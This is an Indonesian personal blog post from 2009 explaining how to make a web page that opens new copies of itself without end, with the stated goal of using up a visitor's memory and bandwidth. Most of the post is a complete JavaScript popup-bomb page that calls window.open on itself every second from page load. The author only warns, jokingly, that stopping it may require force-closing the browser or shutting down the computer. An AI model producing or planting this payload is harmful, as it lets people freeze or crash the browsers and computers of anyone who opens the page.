mediBlog

Medison Simbolon

Membuka Sebuah Halaman Web Secara Rekursif

leave a comment »

Misalkan ada sebuah kasus di mana sebuah halaman web, yang jika diakses, akan membuka lagi sebuah jendela baru yang isinya berupa halaman web tersebut juga. Hal tersebut dilakukan secara rekursif, tanpa henti, dengan tujuan untuk menghabiskan resource memori dari si komputer maupun bandwidth jaringan. Untuk membuat halaman web tersebut, diperlukan bahasa pemrograman Javascript. Berikut contoh kode pemrograman Javascript yang dapat digunakan (kebetulan file ini saya simpan di localhost dengan nama rekursif.htm):

————————————————————————————————————————————————-

<html>
<head>
<script language=”JavaScript”>

//deklarasi fungsi popup()
function popup()

{
var x = 50; y = 50;
buka = window.open(‘rekursif.htm’,”,’width=300,height=200,left=’+x+’,top=’+y+”); //membuka window baru yang memanggil halaman ini juga (popup)
}

//deklarasi fungsi yang memanggil popup()
function start()

{
if (document.all||document.getElementById)
setInterval(“popup()”,1000) //setiap interval 1000 milidetik, fungsi popup() dipanggil lagi
}

window.onload=start() //sewaktu halaman ini dibuka, langsung menjalankan fungsi start()

</script>

</head>
<body>
<form>
Recursive
</form>
</body>
</html>

————————————————————————————————————————————————-

Berikut snapshot ketika halaman web tersebut diakses dari localhost:

picture-1

Harap berhati2 dalam menggunakannya, karena akan susah untuk menghentikan fungsi rekursif tadi (dapat dilihat dampaknya dari gambar di atas). Kemungkinan browser Anda harus dimatikan secara paksa, atau komputernya yang harus di-shut down secara paksa juga.. 🙂

Iklan

Written by medisonsimbolon

April 27, 2009 pada 11:03 pm

Ditulis dalam Kuliah

Tagged with

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: